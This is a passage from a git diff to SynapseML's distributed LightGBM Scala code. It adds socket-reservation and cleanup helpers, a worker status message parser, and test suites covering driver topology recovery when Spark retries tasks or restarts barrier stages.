for information. + +package com.microsoft.azure.synapse.ml.lightgbm + +import org.slf4j.Logger + +import java.io.IOException +import java.net.{BindException, InetSocketAddress, Socket} +import scala.annotation.tailrec + +private[lightgbm] object NetworkManagerSocketSupport { + private val MaxSocketCloseAttempts = 2 + + def addSuppressed(primaryFailure: Throwable, secondaryFailure: Throwable): Unit = { + if (primaryFailure ne secondaryFailure) primaryFailure.addSuppressed(secondaryFailure) + } + + /** Close a socket with one immediate retry, retaining every observed cleanup failure. */ + def closeSocketWithRetry(socket: Socket): Unit = { + @tailrec + def attemptClose(attemptsRemaining: Int, + firstFailure: Option[IOException]): Option[IOException] = { + if (socket.isClosed || attemptsRemaining == 0) { + firstFailure + } else { + val updatedFailure = try { + socket.close() + firstFailure + } catch { + case failure: IOException => + firstFailure.foreach(existing => addSuppressed(existing, failure)) + firstFailure.orElse(Option(failure)) + } + attemptClose(attemptsRemaining - 1, updatedFailure) + } + } + + val closeFailure = attemptClose(MaxSocketCloseAttempts, None).orElse { + if (socket.isClosed) None else Option(new IOException("Socket remained open after cleanup attempts")) + } + closeFailure.foreach(throw _) + } + + /** Run cleanup without allowing it to replace a failure from the protected operation. + * + * The Throwable catch is deliberately limited to recording and immediately rethrowing the original + * failure; it is not a fallback or recovery boundary. + */ + def withCleanupPreservingPrimary[T](cleanup: => Unit)(operation: => T): T = { + var primaryFailure: Option[Throwable] = None + try { + operation + } catch { + case failure: Throwable => + primaryFailure = Option(failure) + throw failure + } finally { + try { + cleanup + } catch { + case cleanupFailure: Throwable if primaryFailure.isDefined => + addSuppressed(primaryFailure.get, cleanupFailure) + } + } + } + + /** Run cleanup only when the protected operation fails, preserving that primary failure. */ + def withCleanupOnFailurePreservingPrimary[T](cleanup: => Unit)(operation: => T): T = { + var completed = false + withCleanupPreservingPrimary(if (!completed) cleanup) { + val result = operation + completed = true + result + } + } + + /** Reserve the first available port at or above basePort. + * + * Only address-in-use failures advance to another port. Other failures propagate after the candidate + * socket is closed, rather than silently falling back to a different port. + */ + def reserveOpenPort(basePort: Int, log: Logger): Socket = { + reserveOpenPort(basePort, log, () => new Socket()) + } + + def reserveOpenPort(basePort: Int, + log: Logger, + createSocket: () => Socket): Socket = { + validatePort(basePort) + + @tailrec + def reservePort(localListenPort: Int): Socket = { + val bindResult: Either[BindException, Socket] = try { + Right(reserveExactPort(localListenPort, log, createSocket)) + } catch { + // A suppressed exception means candidate cleanup failed, so proceeding would leak a socket. + case contention: BindException if contention.getSuppressed.isEmpty => Left(contention) + } + + bindResult match { + case Right(reservation) => reservation + case Left(_) => + log.warn(s"Could not bind to port $localListenPort...") + val nextPort = localListenPort + 1 + if (nextPort > LightGBMConstants.MaxPort) { + throw new Exception(s"Error: port $basePort out of range, " + + "possibly due to networking or firewall issues") + } + if (nextPort - basePort > 1000) { + throw new Exception("Error: Could not find open port after 1k tries") + } + reservePort(nextPort) + } + } + + reservePort(basePort) + } + + /** Reserve one exact port. Native-init retries cannot change the previously advertised port. */ + def reserveExactPort(localListenPort: Int, log: Logger): Socket = { + reserveExactPort(localListenPort, log, () => new Socket()) + } + + private def reserveExactPort(localListenPort: Int, + log: Logger, + createSocket: () => Socket): Socket = { + validatePort(localListenPort) + val candidate = createSocket() + withCleanupOnFailurePreservingPrimary(closeSocketWithRetry(candidate)) { + candidate.bind(new InetSocketAddress(localListenPort)) + log.info(s"Successfully bound to port $localListenPort") + candidate + } + } + + private def validatePort(port: Int): Unit = { + if (port < 0 || port > LightGBMConstants.MaxPort) { + throw new Exception(s"Error: port $port out of range, possibly due to too many executors or unknown error") + } + } + + /** Keep a training task's port reserved, while releasing helper and failed-task reservations immediately. */ + def withPortReservation(reservation: Socket, + shouldExecuteTraining: Boolean) + (getTopology: Int => NetworkTopologyInfo): NetworkTopologyInfo = { + var retained = false + withCleanupPreservingPrimary(if (!retained) closeSocketWithRetry(reservation)) { + val topology = getTopology(reservation.getLocalPort) + if (shouldExecuteTraining) { + topology.retainPortReservation(reservation) + retained = true + } + topology + } + } +} diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/WorkerMessage.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/WorkerMessage.scala new file mode 100644 index 00000000000..9ac8be8fb11 --- /dev/null +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/WorkerMessage.scala @@ -0,0 +1,66 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm + +import java.io.IOException + +/** + * The line protocol tasks use to report themselves to the driver while the LightGBM network + * topology is being assembled. + * + * A task report is `status:host:port:partitionId:executorId[:stageAttemptNumber]`, and the + * barrier-stage marker is `finished:stageAttemptNumber[:barrierTaskCount]`. The trailing + * fields are parsed defensively so a message written without them is still understood. + */ +private[lightgbm] final case class WorkerMessage(status: String, + taskHost: String, + localListenPort: Int, + partitionId: Int, + executorId: String, + stageAttemptNumber: Int, + barrierTaskCount: Option[Int] = None) { + val isForTraining: Boolean = status == LightGBMConstants.EnabledTask + val isForLoadOnly: Boolean = status == LightGBMConstants.IgnoreStatus + val isFinished: Boolean = status == LightGBMConstants.FinishedStatus + + def toTaskMessage: TaskMessageInfo = + TaskMessageInfo(status, taskHost, localListenPort, partitionId, executorId) +} + +private[lightgbm] object WorkerMessage { + private val TaskMessageFieldCount = 5 + private val TaskMessageFieldCountWithStageAttempt = 6 + + def parse(message: String): WorkerMessage = { + if (message == null) { + throw new IOException("Worker closed the connection before sending a status message") + } + val components = message.split(":") + val status = components(0) + + if (status == LightGBMConstants.FinishedStatus) { + WorkerMessage(status, "", -1, -1, "", parseIntOrDefault(components, 1, 0), + parseOptionalInt(components, 2)) + } else { + if (components.length != TaskMessageFieldCount && components.length != TaskMessageFieldCountWithStageAttempt) { + throw new Exception(s"Unexpected message: $message") + } + + WorkerMessage(status, components(1), components(2).toInt, components(3).toInt, components(4), + parseIntOrDefault(components, TaskMessageFieldCount, 0)) + } + } + + def format(message: TaskMessageInfo, stageAttemptNumber: Int): String = + s"${message.toString}:$stageAttemptNumber" + + def formatFinished(stageAttemptNumber: Int, barrierTaskCount: Int): String = + s"${LightGBMConstants.FinishedStatus}:$stageAttemptNumber:$barrierTaskCount" + + private def parseIntOrDefault(components: Array[String], index: Int, default: Int): Int = + if (components.length > index) components(index).toInt else default + + private def parseOptionalInt(components: Array[String], index: Int): Option[Int] = + if (components.length > index) Some(components(index).toInt) else None +} diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/BarrierNetworkRecoverySuite.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/BarrierNetworkRecoverySuite.scala new file mode 100644 index 00000000000..825d8d49bfc --- /dev/null +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/BarrierNetworkRecoverySuite.scala @@ -0,0 +1,372 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm.split1 + +import com.microsoft.azure.synapse.ml.lightgbm.{LightGBMConstants, NetworkManager} +import org.scalatest.funsuite.AnyFunSuite + +import java.io.{BufferedReader, BufferedWriter, IOException, InputStreamReader, OutputStreamWriter} +import java.net.{InetSocketAddress, ServerSocket, Socket, SocketException, SocketTimeoutException} + +/** Covers recovery of the driver topology exchange when Spark restarts a barrier stage. + * + * A barrier stage is restarted in its entirety when any of its tasks fails, so it is the only case + * where a LightGBM network can legitimately be re-formed. The driver has to serve a second topology + * round for the new stage attempt, and must not mix it with the topology of the abandoned one. + */ +class BarrierNetworkRecoverySuite extends AnyFunSuite { + + private val timeout = 30.0 + private val socketTimeoutMillis = 30000 + private val noResponseTimeoutMillis = 250 + private val host = "127.0.0.1" + + private class FakeBarrierTask(port: Int, + partitionId: Int, + stageAttempt: Int, + loadOnly: Boolean = false, + listenPortOffset: Int = 0, + executorId: String = "") extends AutoCloseable { + private val socket = { + val result = new Socket() + try { + result.connect(new InetSocketAddress(host, port), socketTimeoutMillis) + result.setSoTimeout(socketTimeoutMillis) + result + } catch { + case failure: Throwable => + try result.close() + catch { + case closeFailure: IOException => failure.addSuppressed(closeFailure) + } + throw failure + } + } + private val reader = new BufferedReader(new InputStreamReader(socket.getInputStream)) + private val writer = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream)) + + val listenPort: Int = + LightGBMConstants.DefaultLocalListenPort + stageAttempt * 100 + partitionId + listenPortOffset + def address: String = s"$host:$listenPort" + + def report(): Unit = { + val status = if (loadOnly) LightGBMConstants.IgnoreStatus else LightGBMConstants.EnabledTask + val reportedExecutorId = if (executorId.isEmpty) s"executor$partitionId" else executorId + writer.write( + s"$status:$host:$listenPort:$partitionId:$reportedExecutorId:$stageAttempt\n") + writer.flush() + } + + def readTopology(): String = reader.readLine() + + def readExecutorTopology(): String = reader.readLine() + + def assertNoTopologyYet(): Unit = { + socket.setSoTimeout(noResponseTimeoutMillis) + try { + intercept[SocketTimeoutException](reader.readLine()) + } finally { + socket.setSoTimeout(socketTimeoutMillis) + } + } + + def isClosedByDriver: Boolean = { + try { + reader.readLine() == null + } catch { + case _: SocketException => true + } + } + + override def close(): Unit = socket.close() + } + + /** Partition 0 signals the end of a barrier round over its own short-lived connection. */ + private def sendFinished(port: Int, stageAttempt: Int, barrierTaskCount: Option[Int] = Some(2)): Unit = { + val socket = new Socket() + try { + socket.connect(new InetSocketAddress(host, port), socketTimeoutMillis) + socket.setSoTimeout(socketTimeoutMillis) + val writer = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream)) + val countSuffix = barrierTaskCount.map(count => s":$count").getOrElse("") + writer.write(s"${LightGBMConstants.FinishedStatus}:$stageAttempt$countSuffix\n") + writer.flush() + socket.shutdownOutput() + val reader = new BufferedReader(new InputStreamReader(socket.getInputStream)) + try { + assert(reader.readLine() == null, "The driver unexpectedly replied to a Finished marker") + } catch { + case _: SocketException => () // A reset also proves that the driver processed and rejected the marker socket. + } + } finally { + socket.close() + } + } + + private def newBarrierManager(numTasks: Int): (NetworkManager, Int) = { + val serverSocket = new ServerSocket(0) + serverSocket.setSoTimeout(socketTimeoutMillis) + val port = serverSocket.getLocalPort + (NetworkManager(numTasks, serverSocket, host, port, timeout, useBarrierExecutionMode = true), port) + } + + private def closeAll(manager: NetworkManager, tasks: Seq[FakeBarrierTask]): Unit = { + manager.closeConnections() + try { + tasks.foreach { task => + try task.close() + catch { + case _: IOException => () + } + } + } finally { + manager.waitForNetworkCommunicationsDone() + } + } + + private def partitionIds(executorTopology: String): Seq[Int] = { + executorTopology.split(":").flatMap { executorEntry => + executorEntry.split("=")(1).split(",").map(_.toInt) + }.toSeq + } + + test("A restarted barrier stage gets a fresh topology round instead of a closed port") { + val (manager, port) = newBarrierManager(numTasks = 2) + var tasks = Seq.empty[FakeBarrierTask] + try { + // First stage attempt reports but never reaches the barrier, so the round never completes. + val abandoned = (0 until 2).map { partitionId => + val task = new FakeBarrierTask(port, partitionId, stageAttempt = 0) + tasks :+= task + task + } + abandoned.foreach(_.report()) + + // Spark restarts the whole stage. Every task reconnects to the same driver endpoint. + val restarted = (0 until 2).map { partitionId => + val task = new FakeBarrierTask(port, partitionId, stageAttempt = 1) + tasks :+= task + task + } + restarted.foreach(_.report()) + sendFinished(port, stageAttempt = 1) + + val topologies = restarted.map(_.readTopology()) + assert(topologies.forall(_ != null), "The restarted stage attempt never received a topology") + + val expected = restarted.map(_.address).toSet + topologies.foreach { topology => + assert(topology.split(",").toSet == expected, + s"Topology '$topology' should contain only the restarted stage attempt, expected $expected") + } + + } finally { + closeAll(manager, tasks) + } + } + + test("A straggler from a superseded stage attempt is kept out of the topology") { + val (manager, port) = newBarrierManager(numTasks = 2) + var tasks = Seq.empty[FakeBarrierTask] + try { + val abandoned = new FakeBarrierTask(port, 0, stageAttempt = 0) + tasks :+= abandoned + abandoned.report() + + val restarted = (0 until 2).map { partitionId => + val task = new FakeBarrierTask(port, partitionId, stageAttempt = 1) + tasks :+= task + task + } + restarted.foreach(_.report()) + + // A task from the abandoned attempt reports late. Its host:port is already dead. + val straggler = new FakeBarrierTask(port, 1, stageAttempt = 0) + tasks :+= straggler + straggler.report() + assert(straggler.isClosedByDriver, "The straggler should have been rejected by the driver") + + sendFinished(port, stageAttempt = 1) + + val expected = restarted.map(_.address).toSet + restarted.foreach { task => + assert(task.readTopology().split(",").toSet == expected, + s"The straggler at ${straggler.address} should not appear in the topology") + } + } finally { + closeAll(manager, tasks) + } + } + + test("A Finished marker before task reports waits for every report in that stage attempt") { + val (manager, port) = newBarrierManager(numTasks = 2) + var tasks = Seq.empty[FakeBarrierTask] + try { + sendFinished(port, stageAttempt = 0) + + val current = (0 until 2).map { partitionId => + val task = new FakeBarrierTask(port, partitionId, stageAttempt = 0) + tasks :+= task + task + } + current.foreach(_.report()) + + val expected = current.map(_.address).toSet + current.foreach(task => assert(task.readTopology().split(",").toSet == expected)) + } finally { + closeAll(manager, tasks) + } + } + + test("Task reports before the Finished marker do not complete a barrier round early") { + val (manager, port) = newBarrierManager(numTasks = 2) + var tasks = Seq.empty[FakeBarrierTask] + try { + val current = (0 until 2).map { partitionId => + val task = new FakeBarrierTask(port, partitionId, stageAttempt = 0) + tasks :+= task + task + } + current.foreach(_.report()) + current.head.assertNoTopologyYet() + + sendFinished(port, stageAttempt = 0) + + val expected = current.map(_.address).toSet + current.foreach(task => assert(task.readTopology().split(",").toSet == expected)) + } finally { + closeAll(manager, tasks) + } + } + + test("A barrier stage smaller than numTasks completes instead of hanging") { + // Barrier mode never repartitions upwards, so setNumTasks above the input's partition + // count leaves the stage running fewer tasks than numTasks. Waiting for numTasks reports + // would block until Spark's barrier timeout (365 days by default). + val (manager, port) = newBarrierManager(numTasks = 4) + var tasks = Seq.empty[FakeBarrierTask] + try { + val current = (0 until 2).map { partitionId => + val task = new FakeBarrierTask(port, partitionId, stageAttempt = 0) + tasks :+= task + task + } + current.foreach(_.report()) + current.head.assertNoTopologyYet() + + sendFinished(port, stageAttempt = 0, barrierTaskCount = Some(2)) + + val expected = current.map(_.address).toSet + current.foreach(task => assert(task.readTopology().split(",").toSet == expected)) + } finally { + closeAll(manager, tasks) + } + } + + test("A Finished marker without a task count still completes the round") { + // Defensive: the marker is the only completion signal available when no count is reported. + val (manager, port) = newBarrierManager(numTasks = 2) + var tasks = Seq.empty[FakeBarrierTask] + try { + val current = (0 until 2).map { partitionId => + val task = new FakeBarrierTask(port, partitionId, stageAttempt = 0) + tasks :+= task + task + } + current.foreach(_.report()) + + sendFinished(port, stageAttempt = 0, barrierTaskCount = None) + + val expected = current.map(_.address).toSet + current.foreach(task => assert(task.readTopology().split(",").toSet == expected)) + } finally { + closeAll(manager, tasks) + } + } + + test("A duplicate partition report before Finished replaces the old socket without changing the count") { + val (manager, port) = newBarrierManager(numTasks = 2) + var tasks = Seq.empty[FakeBarrierTask] + try { + val original = new FakeBarrierTask( + port, partitionId = 0, stageAttempt = 0, loadOnly = true, executorId = "old-executor") + val replacement = new FakeBarrierTask( + port, partitionId = 0, stageAttempt = 0, listenPortOffset = 1000, executorId = "new-executor") + val secondPartition = new FakeBarrierTask(port, partitionId = 1, stageAttempt = 0) + tasks = Seq(original, replacement, secondPartition) + + original.report() + replacement.report() + assert(original.isClosedByDriver, "The superseded partition report socket was not closed") + secondPartition.report() + sendFinished(port, stageAttempt = 0) + + val expectedNetwork = Set(replacement.address, secondPartition.address) + Seq(replacement, secondPartition).foreach { task => + val networkNodes = task.readTopology().split(",").toSeq + assert(networkNodes.size == expectedNetwork.size) + assert(networkNodes.toSet == expectedNetwork) + val executorTopology = task.readExecutorTopology() + assert(partitionIds(executorTopology).sorted == Seq(0, 1)) + assert(!executorTopology.contains("old-executor")) + assert(executorTopology.contains("new-executor=0")) + } + } finally { + closeAll(manager, tasks) + } + } + + test("A duplicate partition report after Finished still waits for every unique partition") { + val (manager, port) = newBarrierManager(numTasks = 2) + var tasks = Seq.empty[FakeBarrierTask] + try { + sendFinished(port, stageAttempt = 0) + + val original = new FakeBarrierTask( + port, partitionId = 0, stageAttempt = 0, executorId = "old-executor") + val replacement = new FakeBarrierTask( + port, partitionId = 0, stageAttempt = 0, loadOnly = true, + listenPortOffset = 1000, executorId = "new-executor") + val secondPartition = new FakeBarrierTask(port, partitionId = 1, stageAttempt = 0) + tasks = Seq(original, replacement, secondPartition) + + original.report() + replacement.report() + assert(original.isClosedByDriver, "The superseded partition report socket was not closed") + secondPartition.report() + + Seq(replacement, secondPartition).foreach { task => + assert(task.readTopology() == secondPartition.address) + val executorTopology = task.readExecutorTopology() + assert(partitionIds(executorTopology).sorted == Seq(0, 1)) + assert(!executorTopology.contains("old-executor")) + assert(executorTopology.contains("new-executor=0")) + } + } finally { + closeAll(manager, tasks) + } + } + + test("A stale Finished marker cannot complete the current stage attempt") { + val (manager, port) = newBarrierManager(numTasks = 2) + var tasks = Seq.empty[FakeBarrierTask] + try { + val current = (0 until 2).map { partitionId => + val task = new FakeBarrierTask(port, partitionId, stageAttempt = 1) + tasks :+= task + task + } + current.foreach(_.report()) + + sendFinished(port, stageAttempt = 0) + current.head.assertNoTopologyYet() + + sendFinished(port, stageAttempt = 1) + val expected = current.map(_.address).toSet + current.foreach(task => assert(task.readTopology().split(",").toSet == expected)) + } finally { + closeAll(manager, tasks) + } + } +} diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/DriverSocketRetryE2ESuite.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/DriverSocketRetryE2ESuite.scala new file mode 100644 index 00000000000..6944b07255e --- /dev/null +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/DriverSocketRetryE2ESuite.scala @@ -0,0 +1,89 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm.split1 + +import com.microsoft.azure.synapse.ml.lightgbm.params.BaseTrainParams +import com.microsoft.azure.synapse.ml.lightgbm.{ColumnParams, LightGBMClassifier, LightGBMDelegate} +import org.apache.spark.SparkException +import org.apache.spark.TaskContext +import org.apache.spark.ml.linalg.{SQLDataTypes, Vectors} +import org.apache.spark.sql.types.{DoubleType, StructField, StructType} +import org.apache.spark.sql.{DataFrame, Row} +import org.slf4j.Logger + +import java.io.{PrintWriter, StringWriter} + +object FailFirstAttemptDelegate { + val Sentinel: String = "INJECTED_TASK_FAILURE_AFTER_TOPOLOGY_HANDSHAKE" +} + +/** Fails the first attempt of a training task, after it has already completed the driver + * topology handshake. Later attempts do nothing, so the job could succeed on retry. + */ +class FailFirstAttemptDelegate extends LightGBMDelegate { + override def beforeGenerateTrainDataset(batchIndex: Int, + partitionId: Int, + columnParams: ColumnParams, + schema: StructType, + log: Logger, + trainParams: BaseTrainParams): Unit = { + val context = TaskContext.get() + if (context != null && context.attemptNumber() == 0) { + throw new RuntimeException(FailFirstAttemptDelegate.Sentinel) + } + } +} + +/** End-to-end coverage for distributed LightGBM training when a task fails after it has joined the + * LightGBM network. Every Spark retry of that task is refused by the driver, which used to replace + * the real failure with a bare "java.net.ConnectException: Connection refused". + */ +class DriverSocketRetryE2ESuite extends LightGBMTestUtils { + + private def makeDataframe: DataFrame = { + val schema = StructType(Seq( + StructField(labelCol, DoubleType), + StructField(featuresCol, SQLDataTypes.VectorType))) + val rows = (0 until 400).map(i => + Row(if (i % 2 == 0) 0.0 else 1.0, Vectors.dense((i % 13).toDouble, (i % 7).toDouble))) + spark.createDataFrame(spark.sparkContext.parallelize(rows, 2), schema) + } + + private def stackTraceOf(throwable: Throwable): String = { + val writer = new StringWriter() + throwable.printStackTrace(new PrintWriter(writer)) + writer.toString + } + + test("A task retry that cannot rejoin the LightGBM network reports why instead of Connection refused") { + // Spark must be allowed to retry tasks for the failure cascade to appear. + sparkProvider.resetSparkSession(numRetries = 4, numCores = Some(2)) + try { + val classifier = new LightGBMClassifier() + .setLabelCol(labelCol) + .setFeaturesCol(featuresCol) + .setNumLeaves(5) + .setNumIterations(5) + .setDefaultListenPort(getAndIncrementPort()) + .setDelegate(new FailFirstAttemptDelegate()) + + val thrown = intercept[SparkException] { + classifier.fit(makeDataframe) + } + val trace = stackTraceOf(thrown) + + // Spark only surfaces the last attempt, and that attempt can never reach the driver again. + assert(trace.contains("ConnectException"), + s"Expected the retries to fail against the closed driver endpoint, got:\n${trace.take(4000)}") + + // The reported message must explain the cascade and point at the attempt that really failed. + assert(thrown.getMessage.contains("retry attempt"), + s"Expected the failure to identify itself as a retry, got:\n${thrown.getMessage.take(2000)}") + assert(thrown.getMessage.contains("consequence of an earlier failure"), + s"Expected the failure to point at the original error, got:\n${thrown.getMessage.take(2000)}") + } finally { + sparkProvider.resetSparkSession() + } + } +} diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/DriverSocketRetrySuite.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/DriverSocketRetrySuite.scala new file mode 100644 index 00000000000..7635d6b5919 --- /dev/null +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/DriverSocketRetrySuite.scala @@ -0,0 +1,384 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.lightgbm.split1 + +import com.microsoft.azure.synapse.ml.lightgbm.{LightGBMConstants, NetworkManager, TaskMessageInfo} +import org.scalatest.funsuite.AnyFunSuite + +import java.io.{BufferedReader, BufferedWriter, IOException, InputStreamReader, OutputStreamWriter} +import java.net.{ConnectException, InetSocketAddress, ServerSocket, Socket, SocketException, SocketTimeoutException} +import java.util.concurrent.{CountDownLatch, TimeUnit} +import java.util.concurrent.atomic.AtomicInteger +import scala.collection.mutable.ListBuffer + +/** Covers the driver topology socket lifecycle behind repeated + * "java.net.ConnectException: Connection refused" failures in distributed LightGBM training. + */ +class DriverSocketRetrySuite extends AnyFunSuite { + + private val timeout = 30.0 + private val socketTimeoutMillis = 30000 + private val host = "127.0.0.1" + + private class FakeTask(host: String, + port: Int, + partitionId: Int, + loadOnly: Boolean = false, + listenPortOffset: Int = 0, + executorId: String = "") + extends AutoCloseable { + private val socket = { + val result = new Socket() + try { + result.connect(new InetSocketAddress(host, port), socketTimeoutMillis) + result.setSoTimeout(socketTimeoutMillis) + result + } catch { + case failure: Throwable => + try result.close() + catch { + case closeFailure: IOException => failure.addSuppressed(closeFailure) + } + throw failure + } + } + private val reader = new BufferedReader(new InputStreamReader(socket.getInputStream)) + private val writer = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream)) + + def report(): Unit = { + val status = if (loadOnly) LightGBMConstants.IgnoreStatus else LightGBMConstants.EnabledTask + val reportedExecutorId = if (executorId.isEmpty) partitionId.toString else executorId + writer.write(s"$status:127.0.0.1:$listenPort:$partitionId:$reportedExecutorId\n") + writer.flush() + } + + val listenPort: Int = LightGBMConstants.DefaultLocalListenPort + partitionId + listenPortOffset + def address: String = s"127.0.0.1:$listenPort" + + def readTopology(): (String, String) = (reader.readLine(), reader.readLine()) + + /** The driver closing its end is observed here as end-of-stream. */ + def isClosedByDriver: Boolean = { + try { + reader.readLine() == null + } catch { + case _: SocketException => true + } + } + + override def close(): Unit = socket.close() + } + + private class SignalSecondAcceptServerSocket extends ServerSocket(0) { + private val acceptCount = new AtomicInteger() + private val secondAcceptStarted = new CountDownLatch(1) + setSoTimeout(socketTimeoutMillis) + + override def accept(): Socket = { + if (acceptCount.incrementAndGet() == 2) secondAcceptStarted.countDown() + super.accept() + } + + def awaitSecondAccept(): Unit = { + assert(secondAcceptStarted.await(socketTimeoutMillis, TimeUnit.MILLISECONDS), + "The driver never registered the first task socket") + } + } + + private class GateAfterAcceptServerSocket extends ServerSocket(0) { + private val socketAccepted = new CountDownLatch(1) + private val releaseAcceptedSocket = new CountDownLatch(1) + @volatile private var socket: Socket = _ + setSoTimeout(socketTimeoutMillis) + + override def accept(): Socket = { + val result = super.accept() + socket = result + socketAccepted.countDown() + if (!releaseAcceptedSocket.await(socketTimeoutMillis, TimeUnit.MILLISECONDS)) { + result.close() + throw new SocketTimeoutException("Timed out waiting to release the accepted socket") + } + result + } + + def awaitAccepted(): Unit = { + assert(socketAccepted.await(socketTimeoutMillis, TimeUnit.MILLISECONDS), + "The driver never accepted the task socket") + } + + def release(): Unit = releaseAcceptedSocket.countDown() + + def acceptedSocketIsClosed: Boolean = socket != null && socket.isClosed + } + + private class GateUnexpectedAcceptFailureServerSocket extends SignalSecondAcceptServerSocket { + private val acceptFailureObserved = new CountDownLatch(1) + private val releaseAcceptFailure = new CountDownLatch(1) + + override def accept(): Socket = { + try { + super.accept() + } catch { + case failure: SocketException => + acceptFailureObserved.countDown() + if (!releaseAcceptFailure.await(socketTimeoutMillis, TimeUnit.MILLISECONDS)) { + failure.addSuppressed(new SocketTimeoutException("Timed out waiting to release accept failure")) + } + throw failure + } + } + + def awaitAcceptFailure(): Unit = { + assert(acceptFailureObserved.await(socketTimeoutMillis, TimeUnit.MILLISECONDS), + "The driver's blocked accept did not observe the unexpected server close") + } + + def releaseFailure(): Unit = releaseAcceptFailure.countDown() + } + + private def newManager(numTasks: Int, + useBarrierExecutionMode: Boolean = false, + serverSocket: ServerSocket = new ServerSocket(0)): (NetworkManager, String, Int) = { + serverSocket.setSoTimeout(socketTimeoutMillis) + val port = serverSocket.getLocalPort + (NetworkManager(numTasks, serverSocket, host, port, timeout, useBarrierExecutionMode), host, port) + } + + private def closeTasks(tasks: Iterable[FakeTask]): Unit = { + tasks.foreach { task => + try task.close() + catch { + case _: IOException => () + } + } + } + + private def partitionIds(executorTopology: String): Seq[Int] = { + executorTopology.split(":").flatMap { executorEntry => + executorEntry.split("=")(1).split(",").map(_.toInt) + }.toSeq + } + + private def runTopologyRound(numTasks: Int, + numLoadOnlyTasks: Int = 0): (NetworkManager, String, Int, Seq[FakeTask]) = { + val (manager, host, port) = newManager(numTasks + numLoadOnlyTasks) + val tasks = ListBuffer.empty[FakeTask] + try { + (0 until numTasks).foreach(partitionId => tasks += new FakeTask(host, port, partitionId)) + (0 until numLoadOnlyTasks).foreach { index => + tasks += new FakeTask(host, port, numTasks + index, loadOnly = true) + } + tasks.foreach(_.report()) + tasks.foreach { task => + val (machineList, partitionList) = task.readTopology() + assert(machineList != null && machineList.nonEmpty) + assert(partitionList != null && partitionList.nonEmpty) + } + manager.waitForNetworkCommunicationsDone() + (manager, host, port, tasks.toList) + } catch { + case failure: Throwable => + manager.closeConnections() + closeTasks(tasks) + throw failure + } + } + + test("A retried task is refused by the driver once the topology round has completed") { + val (manager, host, port, tasks) = runTopologyRound(numTasks = 2) + try { + // A Spark task retry re-enters getGlobalNetworkInfo and reconnects to the same driver endpoint. + val retriedSocket = new Socket() + val thrown = try { + intercept[ConnectException] { + retriedSocket.connect(new InetSocketAddress(host, port), socketTimeoutMillis) + } + } finally { + retriedSocket.close() + } + + assert(thrown.getMessage.toLowerCase.contains("refused"), + s"Expected a connection-refused failure but got: ${thrown.getMessage}") + } finally { + manager.closeConnections() + closeTasks(tasks) + } + } + + test("Helper task sockets are released along with training task sockets") { + val (manager, _, _, tasks) = runTopologyRound(numTasks = 2, numLoadOnlyTasks = 2) + try { + tasks.zipWithIndex.foreach { case (task, index) => + assert(task.isClosedByDriver, s"Driver leaked the socket for task $index") + } + } finally { + manager.closeConnections() + closeTasks(tasks) + } + } + + test("Non-barrier topology waits for every unique partition when a report is retried") { + val (manager, _, port) = newManager(numTasks = 2) + var tasks = Seq.empty[FakeTask] + try { + val original = new FakeTask( + host, port, partitionId = 0, loadOnly = true, executorId = "old-executor") + tasks :+= original + val replacement = new FakeTask( + host, port, partitionId = 0, listenPortOffset = 1000, executorId = "new-executor") + tasks :+= replacement + + original.report() + replacement.report() + assert(original.isClosedByDriver, "The superseded partition report socket was not closed") + + val secondPartition = new FakeTask(host, port, partitionId = 1) + tasks :+= secondPartition + secondPartition.report() + + val expectedNetwork = Set(replacement.address, secondPartition.address) + Seq(replacement, secondPartition).foreach { task => + val (networkTopology, executorTopology) = task.readTopology() + val networkNodes = networkTopology.split(",").toSeq + assert(networkNodes.size == expectedNetwork.size) + assert(networkNodes.toSet == expectedNetwork) + assert(partitionIds(executorTopology).sorted == Seq(0, 1)) + assert(!executorTopology.contains("old-executor")) + assert(executorTopology.contains("new-executor=0")) + } + manager.waitForNetworkCommunicationsDone() + } finally { + manager.closeConnections() + closeTasks(tasks) + } + } + + test("closeConnections remains idempotent while a topology round owns task sockets") { + val serverSocket = new SignalSecondAcceptServerSocket() + val (manager, _, port) = + newManager(numTasks = 2, useBarrierExecutionMode = true, serverSocket = serverSocket) + var task = Option.empty[FakeTask] + try { + task = Some(new FakeTask(host, port, partitionId = 0)) + task.get.report() + serverSocket.awaitSecondAccept() + + manager.closeConnections() + manager.closeConnections() + + assert(task.get.isClosedByDriver, "The driver leaked a task socket during repeated cleanup") + manager.waitForNetworkCommunicationsDone() + } finally { + manager.closeConnections() + closeTasks(task) + } + } + + test("An unexpected server close preserves the accept failure and still closes task sockets") { + val serverSocket = new GateUnexpectedAcceptFailureServerSocket() + val (manager, _, port) = + newManager(numTasks = 2, useBarrierExecutionMode = true, serverSocket = serverSocket) + var task = Option.empty[FakeTask] + try { + task = Some(new FakeTask(host, port, partitionId = 0)) + task.get.report() + serverSocket.awaitSecondAccept() + + serverSocket.close() + serverSocket.awaitAcceptFailure() + serverSocket.releaseFailure() + + 